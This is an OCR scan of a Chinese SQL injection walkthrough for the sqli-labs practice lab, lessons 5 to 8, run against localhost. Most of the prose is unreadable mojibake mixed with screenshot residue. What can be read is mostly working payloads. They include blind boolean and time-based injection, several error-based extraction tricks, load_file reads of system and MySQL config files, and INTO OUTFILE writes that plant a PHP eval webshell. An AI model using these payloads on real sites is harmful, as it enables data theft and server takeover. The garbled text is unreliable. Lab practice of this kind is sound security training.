Sresult=mysql query ($sqgl):;
Srow = mysql fetch array(Sresult);

if (Srow)

echo '<font size="5" oo
echo 'Y
echo "<br>
echo "«

—

/M/””,. TR AR

else
el

echo '<font size="3" color="#F
print_ r(mysql error(n

echo " >

echo '<font color= "#0000ff" font size= 3>';

BATNXIX — KT BiE. 454 background—2 (15 5, $ LR AE(E I payload s
— MMEATT

(1) FJH left (database (), 1) HEAT22R

http://127.0.0. 1/sqllib/Less=5/21d=1%27and%201eft (version (), 1) =5%23

BE—F version(), BHREEMRAS N 5. 6. 17, X HAEA) & BB BRA S E A2
AR5, BRI [ 25 B2 R T .

127.0.0.1/s Less-5/7id=1%27and%20left(version(),1)=5%23 ;
=T, ferOE |camry eER CIEd 8T i O amsesy ( jblogs Clwebzz [0 @B (KBS Oseverme O of C1EF O Lne@Hze (I

Welcome
You are in

%Wiiﬁfﬁﬁﬁﬁ’]ﬁﬂ% MANBEIERAE 7R youarein......
1127.0.0.1/s /2id =6%23 ol

HBEE—F .4 st (O blogs (I webzg (J =8% (O #B& it Oserverzg O of O1R% (O LinnBEEze (iox

ind%20left(version(),1
O&me OHT Ofq O

camiy

Welcome

B oA — NI K
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23
KRN 8w, RFIIEMER, WHHKERN 8.

1127.0.0.1/s /Less-5/?id=1%27and%20length(database())=8%23 j&;}
]_'E_EF*-F 1FERAE .‘ﬁmr’y EEE OB O#HT O fq O smsast (Oblogs [ web®e [0 &8 O KBS Oserver2 Oof OEF O LinBERe O 8x

Welcome
You are in
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N IS e 5 — A
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(), 1) %3E%27a%27--+

1 127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1) > %27a%27 --+ 1"-
BE—F ., (Al (0 gmzady (O blogs (0 web=s (0 =@ [0 fB=i [ server 22 Oaf O0BF O Lno@EEze (03

Welcome
You are in

Database()N security, FTUAFRMIEAMAIE — 2T > a, R EAZE s > a, KR F EM. X
BAIAFERE T, oTCLH 2R IR miEANRCE.

N IS e 5 — A
BEE N s, HAVERPAZEERT  sa
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2) %3E%27sa%27--+

127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2) >%27sa%27--+ ?t
SE—F . (fAtE [ learmry - 88E (O CI#T (lig (O smsask (O blogs [l webZe (0 =@y O KBS (O server =2 Oof ORF O Lne@RERe i

Welcome
You are in

HTFRER— k=, FA NS EN G, AREZEAHTE A =4 X BT XA
) @R — I, UGBS Ul A 8. 20h B e AR .

(2) FFH substr() ascii() R EGHAT 2R
ascii (substr ((select table name information schema. tables where
tables schema=database()limit 0, 1), 1, 1))=101
MG LA B4 AR 44 security, HSFRATRIHIE 7 XIREL security B E K.
REL security R FERE —NRE—NFHF
http://127.0.0.1/sqllib/Less=5/2id=1%27and%20ascii (substr ((select%20table name%
20from%20information schema. tables%20where%20table schema=database () %201imit%20
0,1),1,1))%3E80—+
Ps: ItAb table schema FJPAE K =" security’ , {HE2FATXBAEHK database (), &K
HItAL database () B2 security. SEACFRIFE R = mEd AT I, B2 ER k.
PEAL R %2 101, PONEE—ANER email.
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http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+
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D b\og D webzz D =EE D Hizs D serversg D of (R O L

127.0.0.1/sqllib/Less-5/7id=1%27and%20ascii(substr((select
il lamry - 2R O @EE O#T O O

Welcome
You are in

WHATER BB — AR B 5 A W ?

ZKHRBATCE THE T substr()BREL, X BEAFH substr(**,2,1)B1 7],
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table name%20from%20i
nformation schema.tables%20where%20table schema=database()%20limit%200,1),2,1))%3E108

-t

4 127.0.0.1/sqllib/Less-5/7id=1%27and%20ascii(substr((select%20table name%20from%20information_schema.tables%20where%20table schyy| *
BE—F . il [E] lamy - 228 Dﬁ'i# O #T (Ofq (O Amsask I blogs [:lweb 2 O =Ee ORBEt Oseverz Oof DEF O LlneBEse O

Welcome
You are in

AR SRS — AN KW ? B — TR !
X B A PG B AT LR REA R limit 0,1, B EHUEMMNEE 0 NFE, HFEEE—. T
BRI AR R AE limit 1,1
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table name%20from%20i
nformation schema.tables%20where%20table schema=database()%20limit%201,1),1,1))%3E113

-t

127.0.0.1/sqllib/Less-5/%id=1%27and%20ascii(substr
[&] lcamry

Welcome
You are in

BeAb 113 AR 1R ERR, BN AR referers 32, FTBLEE —ALA/E r.
L)FE‘JE%%?)E%KU?E‘JE’ELEE‘J, EHEBARTIERT 7. FECSMEISE T .
BRI T AT S RS, AT DORICEI AT 3R 44 5

(3) FIH regexp 5j‘tﬁX (2) o users £HH)F)
http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information sch

ema.columns%20where%20table name=%27users%27%20and%20table name%20regexp%20%
277 us[a-2]%27%20limit%200,1)--+
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http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108--+
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108--+
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108--+
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+
http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27%5eus%5ba-z%5d%27%20limit%200,1)--+
http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27%5eus%5ba-z%5d%27%20limit%200,1)--+
http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27%5eus%5ba-z%5d%27%20limit%200,1)--+
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[y 127.0.0.1/sqlib/Less-5/7id=1%27%20and%201=(select%201

id=1%2 20and%201=(select formation schema.columns%20where%20table name=%27userv.sy k‘
1EE—F . i (@ leamry- EE [ mms Cmd C18T O

et (0 blogs (O web=2 [0 &fF [ AB®t (Jseverze (O of (085 (O LinuxBEs

Welcome
You are in

IRE A ETERE users RIS 2 ETEA us** 11171

http://127.0.0.1/sqllib/Less-5/?id=1"' and 1=(select 1 from information schema.columns where

table name='users' and column name regexp '*username’ limit 0,1)--+

127.0.0.1/sqllib/Less-5/?id=1" and 1=(select 1 from information_schema.columns where ta @ 8% @ | ¢ @ B <Crfsk» “Ba ¥ A& - 8-

% [&] BE—F . i leamry - HER RiRE | BE #T [Ifg HRSEEE blogs webZ2 TEE | EET serverZg: of | § 185 LinnREz2 1w
_-\ = & SQL- XSS+ Encryption- Encoding- Other-

URL  hitpi//127.0.0.1/sqllib/Less-5/%id=1" and 1=(select 1 from information_schema.columns where table_name="users' and column_name regexp "“username’ limit 0,1)--+

Enable Post data | Enable Referrer
T - Services- | [No information available]

LCookiesw #essy (=% @EE- @NEES- Eetnsr Jmdy Jom- ATS- EESEREY (1R

Welcome
You are in...........

B F AT LUE ) username 774E . FRATTAT LK username e password 5 3 Ath 1 T 4 /2 1F i
o

(4) FH ord OO Al mid O EREFREL users I E
http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%200RD(MID((SELECT%20IFNULL(CAST(usernam
e%20AS%20CHAR),0x20)FROM%20security.users%200RDER%20BY%20id%20LIMI1T%200,1),1,1))=
68--+

y 127.0.0.1/sqllib/Less-5/?id=1%27%20and%200RD{MID((SELECT%20IFNULL(CAST(username%20A5%20CHAR),0x20)FROM%20security.users'yz
BE—F, ftlE B lemry-BEE O REE OEg O Ofq OOaEseEt Oblogs Owebsz (0B O BT Oseverez O aof OBFE O Linuk

Welcome
You are in

IREL users AN Z . SR username I EE—ATHIEE — NFRFH ascii, 5 68 #H47 LLER,
B~ Do MERAINFEFEHE —1THEIE N Dumb. FTPAE PR A FEE L ER R0,

45 b (1) (2) 3) (4 TATEAEMAARRIER), AR E E saL KT
1] payload EATI R T — K. AELAIE I S TE REME X sql A /K VE 1R A AB AN 1o
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http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+
http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+
http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+
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Bk, BATER— FHREEANFIER TN

(5) EAf FREEAN

http://127.0.0.1/sqllib/Less-5/?id=1" union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information schema.columns group by a--+

127.0.0.1/sq]l

3a,0x3a, (s

alect user() Ocia v ' B2 £ @ & & A S- 8- 4
2 5 B ke [B] lcamry - 1=E [ iR [ sk (4T [ fq () stesacste [ blogs [ webse2 [} =@ [} @t [ serversese [ of [ 85 [ Lnuimzes [ iex [0 7
-| = & sQL- Xss- Encryption- Encoding: Other-

i

Iy

URL  httpi//127.00.1/sqllib/Less-5/7id=1" union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a floor(rand()*2))a from information_schema.columns group by a--+

URL
Ite

Enable Post data Enable Referrer
T - Servicess | [No information available]

hCookies  css~ [lz=m- EER~ @REEE- EHEHE" A1Hd- /e KALE- EEERS- (LET

Welcome
Duplicate entry ":root@localhost::1" for key ‘group_key'

FIH double HfE Y i I BEATHRETEN
http://127.0.0.1/sqllib/Less-5/?id=1" union select (exp(~(select * FROM(SELECT USER())a))),2,

3t

127.0.0.1/sqllib/Less-5,/?id=

n select (exp(~(select * FROM(SELECT USERQ)a)), 23—+ '@ EE £ ® < Ctrl K> B8 ¥ A& - 0/- & ¢

i @ EEF . e [E) camy - mEE | EEE | B AT | fg | Bses | blogs | webSe || mEE || KESH | sever | of | B8 | LnBEES | BT || FHETE
-| = & sQL- xss- Encryption- Encoding- Other-

RO cip://127.0.0.1/5allib/Less-5/7id=1" union select (exn(=(sclc

I

| Enable Post data Enable Referrer
FT - Services | [No information available]

A Cookies™ £S5~ (==~ @EH~ @RRES- @EMmE- FRd- JSome RA1S- mESERE- LER-

Welcome
DOUBLE value is out of range in "exp(~((select 'root@localhost’ from dual)))’

FIH bigint J HIEAT R EEEAN
http://127.0.0.1/sqllib/Less-5/?id=1" union select (!(select * from (select user())x) - ~0),2,3-

i
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wBE ¥+ & - 8-
B% & BT, FAE €] lcamry - BERE | BEE | B | HT [ fg ) AER8EEE | blogs | webZe2 | | ZEE | ABE L serverm® | off | BR[| LnndBEZS | B

~| = & squ- xss. Encryption- Encoding- Other-

Iy

127.00.1/3qllib/Less - 0123+ UEH [}

d URL  hitps//127.0.0.1/sqllib/Less-5/2id=1" union select (!(select * from (select user(ix) - ~0),2,3--+
it URL
=cute
Enable Post data [] Enable Referrer
EFT - Services | [No information available]

Lcookiesw cssv [IEg- @EN- ORDEE- BEhE- FR0- e KT8 MESERE- 1 ET-

Welcome
BIGINT UNSIGNED value is out of range in ‘((not((select 'root@localhost’ from dual))) -

xpath BT TEAN
http://127.0.0.1/sqllib/Less-5/?id=1' and extractvalue(1l,concat(0Ox7e,(select @ @version),0x7e))

-t

®
Iy
bt

wE A S B
Bz (& BE T rtAE €] lcamry - BER | REE | @6 | )T | fq | #5ssEs | blogs || webze® | | BEF | | EBFH | serverz2 | | off || BF | UnudRERe | | 83

v = & sq- xss- Encryption Encoding: Other-

2 127.0.0.1/sqll

rsion).0x7e ~ @ B8 £

ad URL  hitp://127.0.0.1/sgllib/Less-5/%id=1" and extractvalue(l concat(0x7e, (select @@version), 0x7e))-+|

lit URL
ecute

Enable Post data Enable Referrer
&FT - Servicesr | [No information available]

- dCookies™ »#CsS~ [Ime- EEA- OREES- Bt~ Awl- San- AR~ EMESRRE- (LEmE-

Welcome
XPATH syntax error: *

http://127.0.0.1/sqllib/Less-5/?id=1"' and updatexml(1,concat(0x7e,(select @ @version),0x7e),1)

-t

ersonl 0791+~ G EE & | C | B QAR crieke AR S YR
52 [@ EE—T . e €] lcamry - BER | ) BEE ) @ L) #T | fg L) SEsesss | blogs | web®g || BB [ KB [ serversg | off | IBR | LinndB B2 [ it

*| = & sQL- xss- Encryption- Encoding- Other-

127.0.0.1/5qlib/Less-5/%id=1" and updatexml(1 concat(0x7e, (selec

dURL  hitp://127.0.0.1/sqllib/Less-5/7id=1" and updatexml(l cencat(Dx7e, (select @ @version), 0x7e), 1)—+

t URL
tcute

Enable Post data  [| Enable Referrer
BT - Servicest | [No information available]

ACookies~ s [IEg- @EM GRNEE- Bt Fwa e KIS EEEsRE- L

Welcome
XPATH syntax error: *

) Btk ) B
http://127.0.0.1/sqllib/Less-5/?id=1'union select 1,2,3 from (select NAME CONST(version(),1),

NAME CONST(version(),1))x --+
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127.00.1/sqllib/Less-5/2id=1'union select 1,23 from (select NAME_CONSTiversion(),1 UEH ] B <Cirle k> wBe +$ & - 8- &
= BE—F , {mAE lcamry - BEH REE = HT fq ATm&sEll blogs webZ2 EF K=t server2g ctf 55 LinuxRES2 WX F

~| = & S0l XS§ Encryption- Encoding- Other-

JURL  http://127.0.0.1/sqllib/Less-5/7d=1'union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(},1))x --+
t URL
cute

| Enable Post data Enable Referrer

IFT - Servicesr | [No information available]

&Cookies~ # css- [l=#- @EL- QRRES- ERtnt- ARc- Sanc KT8~ WSESRRE- (15N

Welcome
Duplicate column name '5.6.17°

(6) ZERFVEN
FIH sleep() EREGEATIHEN
http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
127.0.0.1/5glib/Less-5/%id=1'and H(ascii(substr{database(),1, 1)) =115, Lsleep(S))--+ VEL @ S <Ctriik> FIN=T TS R

#2 [& BE—T ., 4oEiE 6 camry - mEE REE | & L HT | Ufq RUSGEN blogs web®® | | EEF (E=T serverg® of | EF LimnBEEg2 | | 3
v| = @ sQL- Xss- Encryption- Encoding Other-

sd URL  hitpi//127.0.0.1/sqllib/Less-5/%id=1"and If(ascii(substr(database(],1,1))=115, 1 sleep(5))--+

lit URL
ecute

Enable Post data  [| Enable Referrer
AFT - Servicess | [No information available]

dCookies~ 2 css~ [z~ @ER- ORRES- EEtne- Ry Jan- ATE- MSERAE- [1lEm-

Welcome
You are in

MERII 2 5 FD IR [A] ZER o

] BENCHMARK()BEATZE I VE N

http://127.0.0.1/sqllib/Less-5/?id=1'UNION _SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN
CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur

rent) as tbl--+

127.00.1/sqllib/Less-5/%d=1"UNION SELECT (IFSUBSTRING(current 1,1)=CHAR(115)BENC + & B8 £ @

B ¥+ & 9- 1/- 4
[E &= F . frouis (6] lcamry - BEE | B Lm0 | fg | enseesth || blogs | web2 || BB% | KBS | severss | of | 25 || LnuBERe | wx L F
+| = & sqQL- XSS+ Encryption- Encoding- Other-

Load URL  http//127.0.0.1/sgllib/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG', 'by 5 seconds')),null]),2,3 FROM (select database() as current) as tk

Split URL
Execute

Enable Post data Enable Referrer
CRAFT - Servicess | [No information available]

A ACookiesw # cssv [l=s- @EK- @REEE- EEtmeE- Jmi- S ATE- EEERE (1R

Welcome
You are in
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244k BUE R KI5, 134T ENCODE('MSG','by 5 seconds')#/E 50000000 %, <= b5 F —EX I H] o

2, TATCLHK LAY BRI B IR 5 %4 3BAE less5 HiER T — k. fEfF 8RR R,
R P — Mt TR, HMKEHEINEES % lesss.

Less-6

Less6 5 less5 X FITET less6 7E id SEULRIAR 55 250, X id 8047 7 AbEE . 1X B AT LA

A AT A F.
Sid ="".Sid."";

Ssql="SELECT * FROM users WHERE id=Sid LIMIT 0,1";
HRRAVHEIX — K[ SRBE N less5 (P2 —FEM). RFREN © B~
X HIRATEH R H A — ) payload
http://127.0.0.1/sqllib/Less-6/?id=1%22and%20left(version(),1)=5%23

@ Less-6 Double Query- Do % |+

X

ES e & A H- bl-®
| =z BE—T . {BAE leamry - BER BEE f4d coding #HT fq ARE&EN blogs webZz$ =EF HEBFT server& ctf BiE ipsHI By
T | = @ SQL- XS5 Encryption- Encoding: Other-

& 127.0.0.1/5qlib/Less-6/%id=1"and leftiversion(),1)=5%23 e @

| Load URL httpy//127.0.0.1/sgllib/Less-5/%id=1"and%20left(version(),1)=5%23
Split URL

7 ACookies~ 2 Css~ It~ PRmES- @Rt A San- ATR- MEEERE- 1R

Welcome

You are in...........

HARM lesss WIATA TIEEH T less6. A f &« AR« XEHIAER T . % lesss,
PRAT5E SRR IE

Background-3 SASHEXRENHE

1. load_file()SH 3¢ 44
Load_file(file_name): 15z U S A4 FF3R [FNZ SR N BAE N — N7
15 FH A4
AL I AL PR BEEUIE HSCHR 06 2058 4 AT sk
and (select count(*) from mysql.user)>0/* #1545 Bk [8] 1%, 1 B R G 152 5 AR -
and (select count(*) from mysql.user)>0/* iR [BI55i%, NiZ & H 0 45 5 K 7 BERL
B\ ARIHUC A ZiAE 554 b
C. LR E S e B R AT
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D. AREEEUCCAHAZ/NT max_allowed_packet
WEARAZSAEAAELE, 8RR B A — B R A RE R Y, BREOR 125 o BUBCHETH 2 1)
AR, 1E windows T, W NTFS W EMS Y, EARREBUAHCH SCHR, Hi@3 A A
administrators 7 REV I (1 SCAF,  users Bt 748 load_file Hik.
FESEBRITENA,  FRATE A/ e R 7 2R
75 PR R AR
FIIEA BB TR CHRES 5 H 4850 B 15D
TEIRZ PHP 2, 3R —/MEERIY Query, @13 display_errors = on, FEJPil &% 5%
WEB H g M4axtig iz, HERERSE, BAXT—NAILLENT] PHP 27K 0l, A RS
A1) 22 A0 52 3177 2P B
AR
http://www.cnblogs.com/Icamry/p/5729087.html

~l: Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,
114,101,112,97,105,114,92,115,97,109)))
FIH hex(VF SCHEN 2 FHIK, JEHAE smb SCHFBT AT LAE A

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” & +& “c:/boot.ini” [ ASCIl fH5

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:  “c:/boot.ini” [1] 16 i/ “0x633a2f626f6f742e696e69 ”

-1 union select 1,1,1,load_file(c:\\boot.ini)

Explain:#42 BL)/H \ULE
2, XHFARBEEE

LOAD DATA INFILE &5 H i M — N SCAR SO e AT, HEEAN— 1R U2k
T e e e =

LOAD DATA [LOW PRIORITY | CONCURRENT] [LOCAL] INFILE 'file name'
[REPLACE | IGNORE]
INTQ TABLE tbl name
[BARTITION (partition name,...)]
[CHARRCTER SET charset name]
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[ [OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']

1
[LINES

[STARTING BY 'string']
[TERMINATED BY 'string']
]

[IGNORE number {LINES | ROWS}]
[(gol name or user var,...)]

[BET col name = expr,...]

FEVENIERE A, FAVEAL G — LR RSO, EUaniC & SO, B SCR4E . iR B Hds
ERIRLBR I, 7T LK R GESCHAI ] load data infile 5 N H 4l 22
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PR T 2HN AR EHAL Z G T, TTUSH mysql 30K (BelE: 2
B A R R S BURD

~: load data infile '/tmp/t0.txt' ignore into table tO character set gbk fields terminated by "\t'
lines terminated by '\n'

4 /tmp/t0.txt FNZF t0 1, character set gbk J& AT EW B N gbk, fields terminated by /&
B — TR Z A 50 BB F,  lines terminated by 21T 145 B TF.

MEERACRD A 2 BRI, SCHEAAELE, BRSO 13 B2 AR, FTLLEfE
Jtmp S SR

TIPS: FAIM mysql5.7 FISCESE ZIVRIN T load xml BREL, 72 154K IH BE 18 H R AR NI 75 2256
k.

3. RAZIXH
SELECT.....INTO OUTFILE 'file_name'

AT DO B AT BN — A3 . 2SR B B IR S A =ML, R A2 A FILE
WPR, A fef B, file_name AL — AN O AALENRI ST

FAT— A PR K

H— P EEN select AR FANF S
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Select version() into outfile “c:\\phpnow\\htdocs\\test.php”

A version() B —f)i%, <?php @eval($_post[“mima”])?> B[]

Select <?php @eval(S_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”

EIRERE ARG L 7, HSEAE select WA AMUBGR AT LA EAE— )15, BATLL EARIR
ZHIAR .

S MBSO S R

Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 i3] 3
14

ke RN\ S5R, AERNMMESON A AR EREM SO, [FRATEUH FIELDS
TERMINATED BY

16 di| ] DLy —A) 1 B HANAT A ARAY, AT HATHIE . 7E sqlmap 7 os-shell SRHU I &
XEER AR, BART S os-shell 90873 & : http://www.cnblogs.com/Icamry/p/5505110.html

TIPS:
(1) WTRELESCHERA R S BERE R 3L, /MB35

(2) ERBATIRFIT load_file(), 542 24 Al & Foid 5 Bl (I 1, FRATAT DARIFR R I 035
f):

select load_file(‘c:\\wamp\\bin\\mysgl\\mysql5.6.17\\my.ini’)into outfile
‘c:\\wamp\\www\\test.php’

A DUM FZAE AR I 55 48 24 TP N R S NE web IR g5 88 B H s, AR AT A0 58l 1.
EI& my.ini 4 AEAE password T (CAEERABIERE , HARASHRZMAR DT K,
XA EF R

Less-7
A% S [ B 2 dump into outfile, 2% JEL & A 3 AR B SCAE SN 7 AT VE N . T AE
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background-3 F1 AT &5 2] 7 Wi FH dump into file.

X B Sl 2 P RS 2 o B RURAERT id ZEAL BT sql 354) E, AIEARRS ] LLE

F|$sql="SELECT * FROM users WHERE id=(('$id")) LIMIT 0,1";

XHX id ZHGEAT T )RR B DAERATH ST ARY) or 1=1-+BEATVEAN

http://127.0.0.1/sqllib/Less-7/?id=1")) or 1=1--+

127.0.0.1/sqllib/Less 77 TELH @ BE <Ctrl+ K

EEE [&] SE—T , 4tAHE €] leamry - EE | BEE | 84 | coding || 7T || fq || #EE8EMk | blogs | | webse® | | ZEE || ST

~| = & SQI- XsS- Eneryption- Encoding- Other-

wB +$ /& - 8- @

serverge® | | off | | B | ipsAM | BF

oad URL | http://127.0.0.1/sqllib/Less-7/2%id=17) or 1=1--4]

3plit URL
Execute

Enable Post data | Enable Referrer
CRAFT" - Services | [No information available]

8 ACookies™ £ Css+ [iFe- @EA- GREEE- ERtmE Amcr JEn- ALE- WESFRE- [1EE-

Welcome
You are in.... Use outfile.

HSBA X A R 522 1 S35 AT R -

http://127.0.0.1/sqllib/Less-7/?id=1"))UNION SELECT 1,2,3 into outfile

"c:\\wamp\\www\\salli

b\\Less-7\\uuu.txt"%23

@ Less-7 Dump into Outfle x| 4

127.0.0.1/sqllib/Less-7/2id=17)UNION SELECT 1,2,3 into outfile sgllib U ES ] & «Cirlk>

SEEE (& SE—T . e [E] lcamry - 8ZE | E8% | Bk || coding [\ #T | fq || siSesik | blogs || web®e® || B [ fRBE

r v| = @ sQL- XS& Encryption- Encoding:| Other-
Load URL  httpy//127.0.0.1/sqllib/Less-7/7id=1"))UNION SELECT 1,2,3 into outfile "c:\wamp\\wwwiisqllibi\Less-7\uuu bt %23
Split URL
Execute
Enable Postdata ] Enable Referrer
ITCRAFT - Servicess | [No information available]

£~ ACookies~ p Css~ [I=2- @BAR- @ARES- BEamiE- JHEd- Jen- ATE- MEEERE- [1Em-

Welcome
You have an error in your SQL syntax

wB &/ - 8-

servergz® | | off || i | ipsHIM ) 1B

FEFEIR sql 1T, HEBA KRR, AT AT E ] uuutxt LA T
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& 127.0.0.1/sqllib 7 fuuutxt (i)
i3 ==z (& 55T 4eiE € lcamry - 2R | ®8E | 8 [ coding | #T [l fq || smssssty | blogs || webZes
|IINT 'l = @ SQL- XSS+ Encryption Encodingr Otherr
@ Load URL
B split URL
k Execute
["] Enable Post data [| Enable Referrer

JMETCRAFT - Services | [No information available]
@@= dcookiesw £ Cssv [l=e- @EA~ ONEES- Bty ARt JEic ATS- MESERE- [Lirn-

1 Dumb 1
1 2 3

1% iR background-3 F1—F¢, FATAT A E K —A)1EAR D S AL,
http://127.0.0.1/sqllib/Less-7/?id=1'))UNION SELECT 1,2,'<?php @eval($S post[ “mima” ])?>' i
nto outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+

@ Less-7 Dump into Outfile % /(@ hitps/f127.00 ss-7/uuuibe 5 |
ECT 1,2« 7php @eval($_post] “mima" D2='ir & 38 & & trl s B & A& & - 18- O

D === [E 5T ret0E B lcamry - isSE | iR | Bk [ ) coding | #T |l fg [ #issecty | blogs || webses: || &85 || REBH | server® || of || 3% | ipsHM | B | L

[t = = & Ql- X8& Eneryption- Encoding Other-

&= 127.0.0.1/sq/lib/Less

I

& Load URL  http://127.0.0.1/sqllib/Less-7/%id=1))UNION SELECT 1,2,'<?php @eval($_post] "mima" 1)?=" into outfile "\ P qllib\\Less-T\yijuhua.php--+

B split URL
b Execute

Enable Post data [ Enable Referrer
METCREFT - Servicesr | [No information available]

@z~ Acookies 055~ [ize- @EK- ORERES- BRGNS Jmo- SR AL BSERRE- &R~

Welcome
You have an error in your SQL syntax

DTV 1)

@ Less-7 Dump into Outfile % | @ http://127.0....fyijuhua.php x | +

e w8 & & &~ B~ 9§

0 e (& mE—F . tous € lcamry - BEE | &8 | &6 [ coding [ #T [ fq [ smseests | blogs || webme | | 8z (ST [ ) serverse | off | ) i [ ipsHll | 3=

€ 127.0.0.1/slli

UEL @

INT  v| =& SQL XS5 Encryption Encoding- Other-
& Load URL
§ splituRe
V) Execute
[] Enable Post data ] Enable Referrer
METCRAFT - Servicess | [No information available]
D8R~ Acookies~ # Cssv (It~ EEF~ ORTEE- Exthr Aty S KTA- MESERE- [1Em-
1Dumb112
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IS FH 32 T4 webshell 3 T HGERRIT], X BEAE/RIGIERE 1

RHEEAHABMNETLLSA, TE SBEIAT =, A S ARJ5E LB E background
hEZytrd 7, aTRAEAT =R

Less-8

At R, BATRIL or 1=1-+R[FIEY, WARNBEAIIEN ZEAHEHT, =
% less5.0X B FRL I AT — ANl :
http://127.0.0.1/sqllib/Less-8/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

127.0.0.1/5q/lib/Less-8/2id=1'and [f(ascii(substr{database(],1,1))=115,1 sleep(5))--+ TELH =] Leancloud wB 3+ /& - 8- -
F [&] BT . #5008 [E] Icamry - L
T| = & SQL- XSS+ Encryptions Encodings Other-

coding | T | fg | ARGl | blogs || webm® | | EBF | BE | serverse® | off | 2 | ipsHL | BB L) LinuxBd

URL  http://127.0.0.1/sqllib/Less-8/%id=1'and If(ascii(substr{database(),1,1))=115,1 sleep(5))--+

Enable Post data [ ] Enable Referrer
T - Servicesr [No information available]

Rcookies™ #CSs- [T @ER- @RRES- BRGNS Ani- SEHc KT WESHE LEn

Welcome
You are in

XHEMRIERREN, 2R 7 A TE AR IEBYE N RT BLT, A8 AR5 TR A4 X))
Wg ?
55 )\ R BATE#E NI AT LU 2

X B mysql #RAEIE AT TR, AR —RIREEENIAIT T
http://127.0.0.1/sqllib/Less-8/?id=1" union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information schema.columns group by a--+
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http://127.0.0.1/sqllib/Less-8/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
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127.0.0.1/sqlib/Less-8/%id=1" union Select Leount("),concat(Dx3a,0x3a,(select user() ~ @ B8 & (] Leancloud wa +$ & - 8- @
E BE—F , {eAlE leamry - EEE EEE =T coding #HT fq ASAEL blogs webZg: = =T servers2g ctf o ipsHIm Bx
~| = & sQL- XS§ Encryption- Encoding- Other-

URL  hitp//127.0.0.1/sqlib/Less-8/?id=1"and If(ascii(substr(database(),1,1))=115,1sleep(3)--+
URL

[7] Enable Post data Enable Referrer
T - Servicess | [No information available]

